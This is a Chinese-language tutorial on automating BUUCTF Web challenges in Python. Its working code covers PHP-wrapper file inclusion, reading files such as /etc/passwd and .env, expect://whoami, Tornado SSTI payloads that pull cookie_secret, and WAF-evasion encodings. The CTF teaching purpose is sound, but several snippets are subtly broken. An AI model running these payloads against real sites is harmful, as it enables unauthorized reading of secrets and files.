Python自动化复现BUUCTF Web题的工程化实践
在CTF竞赛和网络安全研究中,Web题目往往涉及大量重复性操作。传统的手工复现方式不仅效率低下,也难以形成系统化的知识沉淀。本文将聚焦两个典型题型——文件包含和SSTI(服务端模板注入),通过Python实现自动化复现流程,帮助安全研究人员建立可复用的工具库。
1. 环境准备与基础工具链
自动化复现的首要任务是搭建高效的开发环境。推荐使用Python 3.8+版本,其异步特性在处理网络请求时能显著提升性能。核心依赖库包括:
# requirements.txt requests==2.28.1 hashlib==20081119 urllib3==1.26.12 beautifulsoup4==4.11.1 colorama==0.4.6对于文件包含漏洞,我们需要特别关注PHP伪协议的处理。以下是一个基础请求类,封装了常用的HTTP操作:
class CTFRequest: def __init__(self, base_url): self.session = requests.Session() self.base_url = base_url.rstrip('/') self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'} def get(self, path, params=None): url = f"{self.base_url}/{path.lstrip('/')}" return self.session.get(url, params=params, headers=self.headers) def post(self, path, data=None): url = f"{self.base_url}/{path.lstrip('/')}" return self.session.post(url, data=data, headers=self.headers)2. 文件包含漏洞的自动化利用
以[ACTF2020 新生赛]Include为例,文件包含漏洞通常可以通过PHP伪协议直接读取源码。我们构建一个自动化检测和利用的流程:
- 基础检测:尝试常见包含路径
- 协议探测:测试不同伪协议支持情况
- 源码提取:自动解码base64编码结果
def check_file_inclusion(target, param='file'): protocols = [ 'php://filter/convert.base64-encode/resource=index.php', 'php://filter/read=string.rot13/resource=index.php', 'expect://whoami' ] for proto in protocols: res = target.get('/', params={param: proto}) if res.status_code == 200: if 'PD9waHA' in res.text: # base64编码的PHP标记 return base64.b64decode(res.text.splitlines()[0]).decode() return res.text return None实际应用时,我们可以扩展这个基础功能,添加自动识别关键文件的能力:
def find_sensitive_files(target): common_files = [ 'flag.php', 'index.php', 'config.php', '/etc/passwd', '.env', 'wp-config.php' ] found = [] for file in common_files: payload = f'php://filter/convert.base64-encode/resource={file}' res = target.get('/', params={'file': payload}) if res.status_code == 200 and len(res.text) > 0: found.append((file, res.text)) return found3. SSTI漏洞的自动化检测与利用
[护网杯 2018]easy_tornado展示了典型的SSTI漏洞。针对不同模板引擎,我们需要构建对应的检测和利用方案:
3.1 Tornado SSTI检测
Tornado模板引擎的检测可以通过注入简单表达式实现:
def detect_tornado_ssti(target): test_payloads = { '{{1+1}}': '2', '{{"a"*3}}': 'aaa', '{{handler.settings}}': 'cookie_secret' } for payload, signature in test_payloads.items(): res = target.get(f'/error?msg={payload}') if signature in res.text: return True return False3.2 自动化获取敏感信息
一旦确认SSTI存在,我们可以自动化提取关键配置:
def extract_tornado_secrets(target): secrets = {} payloads = { 'cookie_secret': '{{handler.settings["cookie_secret"]}}', 'database_config': '{{handler.settings["database"]}}', 'debug_mode': '{{handler.settings.get("debug", False)}}' } for name, payload in payloads.items(): res = target.get(f'/error?msg={payload}') if res.status_code == 200: secrets[name] = res.text.strip() return secrets4. 哈希计算与签名绕过
许多CTF题目设计了自定义的签名验证机制。以easy_tornado为例,我们需要自动化计算文件哈希:
import hashlib def compute_file_hash(secret, filename): def md5(s): return hashlib.md5(s.encode()).hexdigest() return md5(secret + md5(filename)) # 实际应用示例 secret = '46524a7c-46b6-4428-a2ce-f8ea3509babe' filename = '/fllllllllllllag' print(compute_file_hash(secret, filename)) # 输出:4566883c0d688103456442eb8fbda9025. 工程化实践与工具整合
将上述功能整合为命令行工具,可以极大提升效率。以下是一个典型的工具架构:
ctf-automation/ ├── core/ # 核心功能模块 │ ├── ssti.py # SSTI检测与利用 │ ├── lfi.py # 文件包含处理 │ └── hashes.py # 哈希计算工具 ├── utils/ # 辅助工具 │ ├── requester.py # HTTP请求封装 │ └── parser.py # 响应解析 └── cli.py # 命令行入口示例命令行界面实现:
# cli.py import click @click.group() def cli(): pass @cli.command() @click.argument('url') def check_ssti(url): from core.ssti import detect_tornado_ssti if detect_tornado_ssti(url): print("[+] SSTI vulnerability detected") else: print("[-] No SSTI detected") @cli.command() @click.argument('url') @click.option('--param', default='file', help='Vulnerable parameter') def check_lfi(url, param): from core.lfi import check_file_inclusion result = check_file_inclusion(url, param) if result: print("[+] File inclusion possible:") print(result) else: print("[-] No file inclusion detected") if __name__ == '__main__': cli()实际使用时,只需简单命令即可完成检测:
python cli.py check-ssti http://target.com python cli.py check-lfi http://target.com --param=file6. 防御措施与检测规避
在自动化工具开发过程中,我们需要考虑目标可能存在的防御机制:
- WAF绕过:使用非常规参数名、编码技术
- 速率限制:实现请求间隔控制
- 指纹识别:动态修改HTTP头信息
class AdvancedRequester(CTFRequest): def __init__(self, base_url): super().__init__(base_url) self.delay = 1 # 默认请求间隔 def bypass_waf(self, payload): # 多种编码方式尝试 encodings = [ lambda x: x, lambda x: x.replace('/', '\\/'), lambda x: ''.join(f'%{ord(c):02x}' for c in x) ] for encode in encodings: res = self.get(f'/?file={encode(payload)}') if 'flag' in res.text: return res return None7. 实战案例与经验分享
在实际测试中,有几个常见问题值得注意:
- 伪协议兼容性:不同PHP版本对伪协议的支持存在差异
- 编码问题:base64解码时可能遇到填充错误
- 会话维持:某些题目需要保持会话状态
以下是一个处理base64解码异常的实用函数:
import base64 from binascii import Error def safe_b64decode(data): try: # 尝试标准解码 return base64.b64decode(data).decode('utf-8') except Error: # 处理填充错误 missing_padding = len(data) % 4 if missing_padding: data += '=' * (4 - missing_padding) return base64.b64decode(data).decode('utf-8') except UnicodeDecodeError: # 尝试其他编码 return base64.b64decode(data).decode('latin-1')在开发这类工具时,建议建立测试用例库,覆盖各种边界情况。例如:
TEST_CASES = [ { 'name': 'Basic LFI', 'url': 'http://test.com/?file=index.php', 'expected': '<?php' }, { 'name': 'SSTI Detection', 'url': 'http://test.com/error?msg={{7*7}}', 'expected': '49' } ] def run_tests(): for case in TEST_CASES: res = requests.get(case['url']) assert case['expected'] in res.text, f"Test failed: {case['name']}" print("All tests passed!")通过这种工程化的方法,我们不仅能提高解题效率,还能建立起可复用的安全测试工具库。每个功能模块都可以单独扩展,最终形成完整的自动化测试框架。